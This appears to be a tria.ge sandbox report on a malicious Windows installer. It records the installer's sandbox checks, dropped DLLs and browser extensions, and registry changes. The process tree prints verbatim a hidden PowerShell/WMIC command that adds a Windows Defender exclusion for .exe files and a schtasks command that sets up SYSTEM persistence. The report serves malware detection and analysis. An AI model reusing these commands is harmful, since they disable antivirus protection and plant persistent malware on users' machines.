Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
186s -
max time network
299s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system -
submitted
01/07/2024, 05:06
Static task
static1
Behavioral task
behavioral1
Sample
ac7fada7fccb1d1ad86d46b89060a5c72c6d2aabd1312bfe9fa670d1129e9e9b.exe
Resource
win7-20231129-en
General
-
Target
ac7fada7fccb1d1ad86d46b89060a5c72c6d2aabd1312bfe9fa670d1129e9e9b.exe
-
Size
7.3MB
-
MD5
2e71f91c22ed33da2d442a0eb12fe951
-
SHA1
0c2eec9c3ff33ef905204a8ae205f533571a1cef
-
SHA256
ac7fada7fccb1d1ad86d46b89060a5c72c6d2aabd1312bfe9fa670d1129e9e9b
-
SHA512
8602a9698c944d5962e190feb04b7ebb471a828f828e9b97c4a9352a45224935d2b9860b2d7d75ab03eb881e5eb380a11bb54ca3f2fa61e068d55882c5929269
-
SSDEEP
196608:91OFx9BggZVkFSL0ng/0O9pr89EDAtJ1i1Lzv0GB+grfTuD:3ODH30qD07sFzv3B+SC
Malware Config
Signatures
-
Blocklisted process makes network request 1 IoCs
flow pid Process 39 4580 rundll32.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 2692 powershell.exe 4188 powershell.EXE 1948 powershell.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Install.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion rundll32.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000\Control Panel\International\Geo\Nation wsXKoHd.exe -
Executes dropped EXE 4 IoCs
pid Process 1272 Install.exe 5068 Install.exe 2824 Install.exe 1248 wsXKoHd.exe -
Loads dropped DLL 1 IoCs
pid Process 4580 rundll32.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Drops Chrome extension 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json wsXKoHd.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json wsXKoHd.exe -
Drops desktop.ini file(s) 1 IoCs
description ioc Process File opened for modification C:\$RECYCLE.BIN\S-1-5-18\desktop.ini Install.exe -
Drops file in System32 directory 33 IoCs
description ioc Process File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log powershell.exe File created C:\Windows\system32\GroupPolicy\gpt.ini Install.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft wsXKoHd.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content wsXKoHd.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat wsXKoHd.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData wsXKoHd.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 wsXKoHd.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 wsXKoHd.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E52E4DB9468EB31D663A0754C2775A04 wsXKoHd.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\DDE8B1B7E253A9758EC380BD648952AF_A3D4688236962EEA03574DE4F61B95D9 wsXKoHd.exe File created C:\Windows\system32\GroupPolicy\Machine\Registry.pol Install.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache wsXKoHd.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B3513D73A177A2707D910183759B389B_76B4AC942398240FF309817636D6DBC9 wsXKoHd.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\DDE8B1B7E253A9758EC380BD648952AF_A3D4688236962EEA03574DE4F61B95D9 wsXKoHd.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5 wsXKoHd.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 wsXKoHd.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA wsXKoHd.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\05DDC6AA91765AACACDB0A5F96DF8199 wsXKoHd.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5 wsXKoHd.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA wsXKoHd.exe File opened for modification C:\Windows\system32\GroupPolicy\Machine\Registry.pol wsXKoHd.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B3513D73A177A2707D910183759B389B_D55A76EA86A3695733B952639E5D4848 wsXKoHd.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat rundll32.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE wsXKoHd.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies wsXKoHd.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 wsXKoHd.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E52E4DB9468EB31D663A0754C2775A04 wsXKoHd.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\05DDC6AA91765AACACDB0A5F96DF8199 wsXKoHd.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B3513D73A177A2707D910183759B389B_76B4AC942398240FF309817636D6DBC9 wsXKoHd.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B3513D73A177A2707D910183759B389B_D55A76EA86A3695733B952639E5D4848 wsXKoHd.exe -
Drops file in Program Files directory 14 IoCs
description ioc Process File opened for modification C:\Program Files\Mozilla Firefox\browser\omni.ja.bak wsXKoHd.exe File created C:\Program Files (x86)\ZDLVjxnHU\RfqzAZ.dll wsXKoHd.exe File created C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi wsXKoHd.exe File created C:\Program Files\Mozilla Firefox\browser\omni.ja.bak wsXKoHd.exe File created C:\Program Files (x86)\ijGSqddcuZeU2\rRcfjqHzpAeZU.dll wsXKoHd.exe File created C:\Program Files (x86)\ijGSqddcuZeU2\aXcUTcL.xml wsXKoHd.exe File created C:\Program Files (x86)\wWtwQxeSPhIsC\kQEMlPB.xml wsXKoHd.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi wsXKoHd.exe File created C:\Program Files (x86)\nIXneLoYhSqxVZkgocR\bOlvDQs.dll wsXKoHd.exe File created C:\Program Files (x86)\wWtwQxeSPhIsC\hIWTLBk.dll wsXKoHd.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\omni.ja wsXKoHd.exe File created C:\Program Files (x86)\ZDLVjxnHU\zAwOntl.xml wsXKoHd.exe File created C:\Program Files (x86)\nIXneLoYhSqxVZkgocR\BuIDoNj.xml wsXKoHd.exe File created C:\Program Files (x86)\TuhNvssQnTUn\xkblsTl.dll wsXKoHd.exe -
Drops file in Windows directory 4 IoCs
description ioc Process File created C:\Windows\Tasks\brlogsXZdQLKJRjYtj.job schtasks.exe File created C:\Windows\Tasks\bdmBPZkQYKMDiCzlG.job schtasks.exe File created C:\Windows\Tasks\tRbTscEIBTcXFpe.job schtasks.exe File created C:\Windows\Tasks\SQVSLJdEAqcPOSFTe.job schtasks.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 3 IoCs
pid pid_target Process procid_target 5108 2824 WerFault.exe 84 644 5068 WerFault.exe 74 512 1248 WerFault.exe 154 -
Enumerates system info in registry 2 TTPs 4 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS Install.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName Install.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS rundll32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName rundll32.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" wsXKoHd.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix wsXKoHd.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix rundll32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" rundll32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 wsXKoHd.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{38fd360b-0000-0000-0000-d01200000000}\NukeOnDelete = "0" Install.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\TelemetrySalt = "3" Install.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4948 schtasks.exe 824 schtasks.exe 4112 schtasks.exe 2848 schtasks.exe 1020 schtasks.exe 5040 schtasks.exe 4556 schtasks.exe 5012 schtasks.exe 4468 schtasks.exe 648 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 49 IoCs
pid Process 2692 powershell.exe 2692 powershell.exe 2692 powershell.exe 2340 powershell.exe 2340 powershell.exe 2340 powershell.exe 5032 powershell.exe 5032 powershell.exe 5032 powershell.exe 4188 powershell.EXE 4188 powershell.EXE 4188 powershell.EXE 1248 wsXKoHd.exe 1248 wsXKoHd.exe 1248 wsXKoHd.exe 1248 wsXKoHd.exe 1248 wsXKoHd.exe 1248 wsXKoHd.exe 1248 wsXKoHd.exe 1248 wsXKoHd.exe 1248 wsXKoHd.exe 1248 wsXKoHd.exe 1248 wsXKoHd.exe 1248 wsXKoHd.exe 1248 wsXKoHd.exe 1248 wsXKoHd.exe 1248 wsXKoHd.exe 1248 wsXKoHd.exe 1948 powershell.exe 1948 powershell.exe 1948 powershell.exe 1248 wsXKoHd.exe 1248 wsXKoHd.exe 1248 wsXKoHd.exe 1248 wsXKoHd.exe 1248 wsXKoHd.exe 1248 wsXKoHd.exe 1248 wsXKoHd.exe 1248 wsXKoHd.exe 1248 wsXKoHd.exe 1248 wsXKoHd.exe 1248 wsXKoHd.exe 1248 wsXKoHd.exe 1248 wsXKoHd.exe 1248 wsXKoHd.exe 1248 wsXKoHd.exe 1248 wsXKoHd.exe 1248 wsXKoHd.exe 1248 wsXKoHd.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2692 powershell.exe Token: SeIncreaseQuotaPrivilege 2004 WMIC.exe Token: SeSecurityPrivilege 2004 WMIC.exe Token: SeTakeOwnershipPrivilege 2004 WMIC.exe Token: SeLoadDriverPrivilege 2004 WMIC.exe Token: SeSystemProfilePrivilege 2004 WMIC.exe Token: SeSystemtimePrivilege 2004 WMIC.exe Token: SeProfSingleProcessPrivilege 2004 WMIC.exe Token: SeIncBasePriorityPrivilege 2004 WMIC.exe Token: SeCreatePagefilePrivilege 2004 WMIC.exe Token: SeBackupPrivilege 2004 WMIC.exe Token: SeRestorePrivilege 2004 WMIC.exe Token: SeShutdownPrivilege 2004 WMIC.exe Token: SeDebugPrivilege 2004 WMIC.exe Token: SeSystemEnvironmentPrivilege 2004 WMIC.exe Token: SeRemoteShutdownPrivilege 2004 WMIC.exe Token: SeUndockPrivilege 2004 WMIC.exe Token: SeManageVolumePrivilege 2004 WMIC.exe Token: 33 2004 WMIC.exe Token: 34 2004 WMIC.exe Token: 35 2004 WMIC.exe Token: 36 2004 WMIC.exe Token: SeIncreaseQuotaPrivilege 2004 WMIC.exe Token: SeSecurityPrivilege 2004 WMIC.exe Token: SeTakeOwnershipPrivilege 2004 WMIC.exe Token: SeLoadDriverPrivilege 2004 WMIC.exe Token: SeSystemProfilePrivilege 2004 WMIC.exe Token: SeSystemtimePrivilege 2004 WMIC.exe Token: SeProfSingleProcessPrivilege 2004 WMIC.exe Token: SeIncBasePriorityPrivilege 2004 WMIC.exe Token: SeCreatePagefilePrivilege 2004 WMIC.exe Token: SeBackupPrivilege 2004 WMIC.exe Token: SeRestorePrivilege 2004 WMIC.exe Token: SeShutdownPrivilege 2004 WMIC.exe Token: SeDebugPrivilege 2004 WMIC.exe Token: SeSystemEnvironmentPrivilege 2004 WMIC.exe Token: SeRemoteShutdownPrivilege 2004 WMIC.exe Token: SeUndockPrivilege 2004 WMIC.exe Token: SeManageVolumePrivilege 2004 WMIC.exe Token: 33 2004 WMIC.exe Token: 34 2004 WMIC.exe Token: 35 2004 WMIC.exe Token: 36 2004 WMIC.exe Token: SeDebugPrivilege 2340 powershell.exe Token: SeDebugPrivilege 5032 powershell.exe Token: SeDebugPrivilege 4188 powershell.EXE Token: SeDebugPrivilege 1948 powershell.exe Token: SeAssignPrimaryTokenPrivilege 1940 WMIC.exe Token: SeIncreaseQuotaPrivilege 1940 WMIC.exe Token: SeSecurityPrivilege 1940 WMIC.exe Token: SeTakeOwnershipPrivilege 1940 WMIC.exe Token: SeLoadDriverPrivilege 1940 WMIC.exe Token: SeSystemtimePrivilege 1940 WMIC.exe Token: SeBackupPrivilege 1940 WMIC.exe Token: SeRestorePrivilege 1940 WMIC.exe Token: SeShutdownPrivilege 1940 WMIC.exe Token: SeSystemEnvironmentPrivilege 1940 WMIC.exe Token: SeUndockPrivilege 1940 WMIC.exe Token: SeManageVolumePrivilege 1940 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1940 WMIC.exe Token: SeIncreaseQuotaPrivilege 1940 WMIC.exe Token: SeSecurityPrivilege 1940 WMIC.exe Token: SeTakeOwnershipPrivilege 1940 WMIC.exe Token: SeLoadDriverPrivilege 1940 WMIC.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4424 wrote to memory of 1272 4424 ac7fada7fccb1d1ad86d46b89060a5c72c6d2aabd1312bfe9fa670d1129e9e9b.exe 73 PID 4424 wrote to memory of 1272 4424 ac7fada7fccb1d1ad86d46b89060a5c72c6d2aabd1312bfe9fa670d1129e9e9b.exe 73 PID 4424 wrote to memory of 1272 4424 ac7fada7fccb1d1ad86d46b89060a5c72c6d2aabd1312bfe9fa670d1129e9e9b.exe 73 PID 1272 wrote to memory of 5068 1272 Install.exe 74 PID 1272 wrote to memory of 5068 1272 Install.exe 74 PID 1272 wrote to memory of 5068 1272 Install.exe 74 PID 5068 wrote to memory of 1128 5068 Install.exe 76 PID 5068 wrote to memory of 1128 5068 Install.exe 76 PID 5068 wrote to memory of 1128 5068 Install.exe 76 PID 1128 wrote to memory of 2636 1128 forfiles.exe 78 PID 1128 wrote to memory of 2636 1128 forfiles.exe 78 PID 1128 wrote to memory of 2636 1128 forfiles.exe 78 PID 2636 wrote to memory of 2692 2636 cmd.exe 79 PID 2636 wrote to memory of 2692 2636 cmd.exe 79 PID 2636 wrote to memory of 2692 2636 cmd.exe 79 PID 2692 wrote to memory of 2004 2692 powershell.exe 80 PID 2692 wrote to memory of 2004 2692 powershell.exe 80 PID 2692 wrote to memory of 2004 2692 powershell.exe 80 PID 5068 wrote to memory of 4948 5068 Install.exe 82 PID 5068 wrote to memory of 4948 5068 Install.exe 82 PID 5068 wrote to memory of 4948 5068 Install.exe 82 PID 2824 wrote to memory of 2340 2824 Install.exe 85 PID 2824 wrote to memory of 2340 2824 Install.exe 85 PID 2824 wrote to memory of 2340 2824 Install.exe 85 PID 2340 wrote to memory of 2892 2340 powershell.exe 87 PID 2340 wrote to memory of 2892 2340 powershell.exe 87 PID 2340 wrote to memory of 2892 2340 powershell.exe 87 PID 2892 wrote to memory of 1700 2892 cmd.exe 88 PID 2892 wrote to memory of 1700 2892 cmd.exe 88 PID 2892 wrote to memory of 1700 2892 cmd.exe 88 PID 2340 wrote to memory of 2384 2340 powershell.exe 89 PID 2340 wrote to memory of 2384 2340 powershell.exe 89 PID 2340 wrote to memory of 2384 2340 powershell.exe 89 PID 2340 wrote to memory of 4404 2340 powershell.exe 90 PID 2340 wrote to memory of 4404 2340 powershell.exe 90 PID 2340 wrote to memory of 4404 2340 powershell.exe 90 PID 2340 wrote to memory of 1176 2340 powershell.exe 91 PID 2340 wrote to memory of 1176 2340 powershell.exe 91 PID 2340 wrote to memory of 1176 2340 powershell.exe 91 PID 2340 wrote to memory of 2736 2340 powershell.exe 92 PID 2340 wrote to memory of 2736 2340 powershell.exe 92 PID 2340 wrote to memory of 2736 2340 powershell.exe 92 PID 2340 wrote to memory of 2244 2340 powershell.exe 93 PID 2340 wrote to memory of 2244 2340 powershell.exe 93 PID 2340 wrote to memory of 2244 2340 powershell.exe 93 PID 2340 wrote to memory of 1396 2340 powershell.exe 94 PID 2340 wrote to memory of 1396 2340 powershell.exe 94 PID 2340 wrote to memory of 1396 2340 powershell.exe 94 PID 2340 wrote to memory of 744 2340 powershell.exe 95 PID 2340 wrote to memory of 744 2340 powershell.exe 95 PID 2340 wrote to memory of 744 2340 powershell.exe 95 PID 2340 wrote to memory of 2512 2340 powershell.exe 96 PID 2340 wrote to memory of 2512 2340 powershell.exe 96 PID 2340 wrote to memory of 2512 2340 powershell.exe 96 PID 2340 wrote to memory of 3520 2340 powershell.exe 97 PID 2340 wrote to memory of 3520 2340 powershell.exe 97 PID 2340 wrote to memory of 3520 2340 powershell.exe 97 PID 2340 wrote to memory of 1712 2340 powershell.exe 98 PID 2340 wrote to memory of 1712 2340 powershell.exe 98 PID 2340 wrote to memory of 1712 2340 powershell.exe 98 PID 2340 wrote to memory of 4492 2340 powershell.exe 99 PID 2340 wrote to memory of 4492 2340 powershell.exe 99 PID 2340 wrote to memory of 4492 2340 powershell.exe 99 PID 2340 wrote to memory of 4624 2340 powershell.exe 100
Processes
-
C:\Users\Admin\AppData\Local\Temp\ac7fada7fccb1d1ad86d46b89060a5c72c6d2aabd1312bfe9fa670d1129e9e9b.exe"C:\Users\Admin\AppData\Local\Temp\ac7fada7fccb1d1ad86d46b89060a5c72c6d2aabd1312bfe9fa670d1129e9e9b.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:4424 -
C:\Users\Admin\AppData\Local\Temp\7zS6542.tmp\Install.exe.\Install.exe2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1272 -
C:\Users\Admin\AppData\Local\Temp\7zS66F7.tmp\Install.exe.\Install.exe /iLdidEHGZ "525403" /S3⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:5068 -
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"4⤵
- Suspicious use of WriteProcessMemory
PID:1128 -
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True5⤵
- Suspicious use of WriteProcessMemory
PID:2636 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2692 -
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True7⤵
- Suspicious use of AdjustPrivilegeToken
PID:2004
-
-
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "brlogsXZdQLKJRjYtj" /SC once /ST 05:08:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS66F7.tmp\Install.exe\" OF /eadidBK 525403 /S" /V1 /F4⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:4948
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5068 -s 6284⤵
- Program crash
PID:644
-
-
-
-
